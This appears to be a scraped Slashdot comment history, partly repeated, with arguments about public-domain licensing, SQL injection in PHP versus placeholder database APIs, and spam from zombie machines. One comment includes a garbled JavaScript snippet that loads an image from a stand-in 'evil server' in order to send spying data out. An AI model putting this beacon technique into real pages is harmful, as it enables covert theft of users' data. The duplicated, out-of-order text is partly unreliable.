Even if people should ignore the fact that this breaks half the pages on the internet, and turn it on, I can just use an iframe for the attack instead. Or a style tag. And so on, and so on.
It doesn't reflect on you at all, they can strip your name from the code, there is no obligation to credit you. They might not do this, but they can, and most will (human nature does lean this way as a rule).
How do you get from "somebody could theoretically take my code and claim it as their own" to "it does not reflect on me at all"? The first scenario is very unlikely to ever happen, and even if it does, it still doesn't affect me negatively in any way. As others pointed out, I could amuse myself by heckling whoever did it, or I could just ignore them, but in neither case are there any negative consequences for me. It is only if you contrive to let your pride be hurt that there is any problem, and I see no reason to do that.
And once again, the vast majority of people would credit me just as much as they would with a GPL license or what have you. And that would include those who would not use my code in the first place if it was GPL'd.
Public domain isn't the same as open source, open source means the developers retain rights, public domain means you give them all up, public domain can be taken by a stranger and made proprietary, is that really what you want? I suggest you have a little think on that issue.
I'm not the poster you were replying to, but yes, that is exactly what I want when I release my software as public domain. I do not envy others their success if they want to use my code. No matter how propietary their use of it is, that does not lessen the value of the existing code one bit, and only reflects positively on myself.
SQLite is a project that is released completely free into the public domain, and it has been massively successful, and has been taken up in any number of both open source and propietary projects. It's even running in the internals of Mac OS X. This would not have happened if it was encumbered by a GPL license.
>> * Send out spam > Tricky. You would need to: > - invoke the mail program > - get the target email address from somewhere > - inject the spam into the mailer from somewhere > > The first is possible, the second two would probably involve some sort of network callback to your website to > provide the data. Not really sure you can do this in such a small program space, but ok, maybe.
You really haven't got the slightest clue how spam is sent these days, do you? It's pretty much all done by zombie machines. You get an executable running on a compromised machine, and it reports home, and then waits for instructions. There's zero protection against this in Linux, running as root or a normal user. Windows at least has application firewalls that can warn you when new programs attempt to access the network, but no such luck for Linux.
There's no need to invoke any mailers when you can just access the netword directly. And I'm not sure where your "such a small program space" comment comes from - who said anything about program sizes?
No, the problem is that PHP puts an API that is insecure by design right in front of developers, and then hides the ones that actually work like they're supposed to way out of sight. Meaning hardly anybody ever sees past what is right in front of them, and that works. It's insecure, but they don't know that, and they have no reason to distrust the language and tutorials they have been given.
The only way to get PHP secure is to rip out the mysql functions completely, and offer no way to enable them again. Force people to go out and find the real database interfaces.
That's why I included the "sql php" and "sql perl" searches at the top. Searching for just "php" will include every page which is written in PHP!
Look again at my original post. There are double the amount of pages talking about SQL in PHP than talking about SQL in Perl. However, there are NINE times the pages talking about SQL injection vulnerabilities in PHP than those talking about SQL injection vulnerabilities in Perl.
You've never used Perl's or Python's database interfaces, have you? You use placeholders, and pass in values separately, and the interface itself takes care of proper escaping. You use a constant string for your query and don't build the SQL query by hand.
I am neither arguing for Perl in particular - Python and Ruby have pretty much the exact same kind of database interface - nor does that kind of interface stop you from manually constructing your own queries. However, you will have no reason whatsoever to do this, because the proper interface with automatic escaping is much less of a pain to use than constructing your queries by hand.
If you're such a hot-shot programmer, why are you using PHP in the first place? Why not write lightning-fast code in C instead? If you're trading speed for convenience by using a high-level language, why wouldn't you want to use something that is even more convenient? And, I might add, faster in many instances?
The API is the language. Claiming otherwise is silly semantic games with no connection to the reality of the situation, which is: There are a million scripts out there with SQL injection vulnerabilities, and most of them will be written in PHP, because PHP encourages (by not actively discouraging) you to write insecure code.
You are arguing semantics. The end result of the current state of PHP is: There are a huge amount of scripts out there that are vulenarable to SQL injection, that would not be vulnerable if they were written in another language, because that other language would provide safer mechanisms and encourage their use.
Of course it's the job of the language to make it as easy as possible to write secure code, and as hard as possible to write insecure code. That should be blindingly obvious, especially for a language that's pretty much aimed at people with little programming experience who are likely to have no idea what they're doing.
Slashdot Mirror
Even if people should ignore the fact that this breaks half the pages on the internet, and turn it on, I can just use an iframe for the attack instead. Or a style tag. And so on, and so on.
Except that, you know, maybe they want to actually use JavaScript apps on their intranet?
document.createElement("img");i lspyingdata="+encodeURIComponent(evilspyingdata);
img.src="http://myevilserver.com/phonehome.cgi?ev
document.body.appendElement(img);
Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?
It doesn't reflect on you at all, they can strip your name from the code, there is no obligation to credit you. They might not do this, but they can, and most will (human nature does lean this way as a rule).
How do you get from "somebody could theoretically take my code and claim it as their own" to "it does not reflect on me at all"? The first scenario is very unlikely to ever happen, and even if it does, it still doesn't affect me negatively in any way. As others pointed out, I could amuse myself by heckling whoever did it, or I could just ignore them, but in neither case are there any negative consequences for me. It is only if you contrive to let your pride be hurt that there is any problem, and I see no reason to do that.
And once again, the vast majority of people would credit me just as much as they would with a GPL license or what have you. And that would include those who would not use my code in the first place if it was GPL'd.
Public domain isn't the same as open source, open source means the developers retain rights, public domain means you give them all up, public domain can be taken by a stranger and made proprietary, is that really what you want? I suggest you have a little think on that issue.
I'm not the poster you were replying to, but yes, that is exactly what I want when I release my software as public domain. I do not envy others their success if they want to use my code. No matter how propietary their use of it is, that does not lessen the value of the existing code one bit, and only reflects positively on myself.
SQLite is a project that is released completely free into the public domain, and it has been massively successful, and has been taken up in any number of both open source and propietary projects. It's even running in the internals of Mac OS X. This would not have happened if it was encumbered by a GPL license.
Oh hooray for Slashdot being a useless piece of shit and stripping out foreign characters, ruining my "joke".
Only you culturally-ignorant Americans would say something like that!
In Japanese, it's "wwwwwwwwwwwwwwwwkwwwwwww".
"Kowledge transfer", eh? All right, I'll make sure to look that up.
Hahahah, calling someone's bullshit is "-1, Troll" now?
>> * Send out spam
> Tricky. You would need to:
> - invoke the mail program
> - get the target email address from somewhere
> - inject the spam into the mailer from somewhere
>
> The first is possible, the second two would probably involve some sort of network callback to your website to
> provide the data. Not really sure you can do this in such a small program space, but ok, maybe.
You really haven't got the slightest clue how spam is sent these days, do you? It's pretty much all done by zombie machines. You get an executable running on a compromised machine, and it reports home, and then waits for instructions. There's zero protection against this in Linux, running as root or a normal user. Windows at least has application firewalls that can warn you when new programs attempt to access the network, but no such luck for Linux.
There's no need to invoke any mailers when you can just access the netword directly. And I'm not sure where your "such a small program space" comment comes from - who said anything about program sizes?
Ok, so tell me the name of the Dutch political candidate or party who benefits from this news article.
The jump from "enrolls people from the US" to "it's all US political games!" is completely logical to you, then?
And why exactly do you think the harmful effects would move at half the speed of light?
Good job getting a political dig into a discussion about something happening in a completely different country!
Kids these days with their "furbies" and "walkmans", get offa my lawn!
No, the problem is that PHP puts an API that is insecure by design right in front of developers, and then hides the ones that actually work like they're supposed to way out of sight. Meaning hardly anybody ever sees past what is right in front of them, and that works. It's insecure, but they don't know that, and they have no reason to distrust the language and tutorials they have been given.
The only way to get PHP secure is to rip out the mysql functions completely, and offer no way to enable them again. Force people to go out and find the real database interfaces.
Not going to happen, though.
That's how all language except PHP (or at least PHP's default interface) work, right now, and have worked for years and years.
That's why I included the "sql php" and "sql perl" searches at the top. Searching for just "php" will include every page which is written in PHP!
Look again at my original post. There are double the amount of pages talking about SQL in PHP than talking about SQL in Perl. However, there are NINE times the pages talking about SQL injection vulnerabilities in PHP than those talking about SQL injection vulnerabilities in Perl.
You've never used Perl's or Python's database interfaces, have you? You use placeholders, and pass in values separately, and the interface itself takes care of proper escaping. You use a constant string for your query and don't build the SQL query by hand.
It is both easier, and much more secure.
I am neither arguing for Perl in particular - Python and Ruby have pretty much the exact same kind of database interface - nor does that kind of interface stop you from manually constructing your own queries. However, you will have no reason whatsoever to do this, because the proper interface with automatic escaping is much less of a pain to use than constructing your queries by hand.
If you're such a hot-shot programmer, why are you using PHP in the first place? Why not write lightning-fast code in C instead? If you're trading speed for convenience by using a high-level language, why wouldn't you want to use something that is even more convenient? And, I might add, faster in many instances?
The API is the language. Claiming otherwise is silly semantic games with no connection to the reality of the situation, which is: There are a million scripts out there with SQL injection vulnerabilities, and most of them will be written in PHP, because PHP encourages (by not actively discouraging) you to write insecure code.
You are arguing semantics. The end result of the current state of PHP is: There are a huge amount of scripts out there that are vulenarable to SQL injection, that would not be vulnerable if they were written in another language, because that other language would provide safer mechanisms and encourage their use.
Of course it's the job of the language to make it as easy as possible to write secure code, and as hard as possible to write insecure code. That should be blindingly obvious, especially for a language that's pretty much aimed at people with little programming experience who are likely to have no idea what they're doing.
Perl does. Python does. I'm pretty sure Ruby does. I'm told there are several modules for PHP that do.
SQL injection is only a problem in PHP because PHP does it all wrong by default.
Perl does. Python does. I'm pretty sure Ruby does.
Pretty much every language except PHP does. PHP has several modules to do this the right way too, I'm told, but nobody even knows about them.
SQL injection is only a problem because PHP does things in the worst way possible.